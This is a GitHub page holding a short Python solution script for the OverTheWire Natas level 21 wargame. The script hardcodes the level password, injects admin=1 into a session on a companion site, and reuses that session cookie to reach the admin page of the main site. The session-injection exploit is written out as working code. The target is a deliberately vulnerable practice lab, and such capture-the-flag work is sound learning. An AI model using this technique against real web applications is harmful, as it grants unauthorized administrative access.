-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathe.py
25 lines (19 loc) · 829 Bytes
/
e.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
from pathlib import Path
url = 'http://natas21-experimenter.natas.labs.overthewire.org/index.php'
url2 = "http://natas21.natas.labs.overthewire.org/index.php"
username = 'natas21'
password = '89OWrTkGmiLZLv12JY4tLj2c4FW0xn56'
auth = (username, password)
CURR_DIR = Path(__file__).absolute().parent
def save_html(name: str, data: str):
path_to_html = CURR_DIR / "html" / f"{name}.html"
if not path_to_html.parent.exists():
path_to_html.parent.mkdir(parents=True)
path_to_html.write_text(data)
res = requests.post(url, auth=auth, params={"debug":'1'},
data={"submit": '1', 'admin': '1'})
res = requests.get(url2, auth=auth,
params={"debug": '1'},
cookies={"PHPSESSID": res.cookies['PHPSESSID']})
save_html("solution", res.text)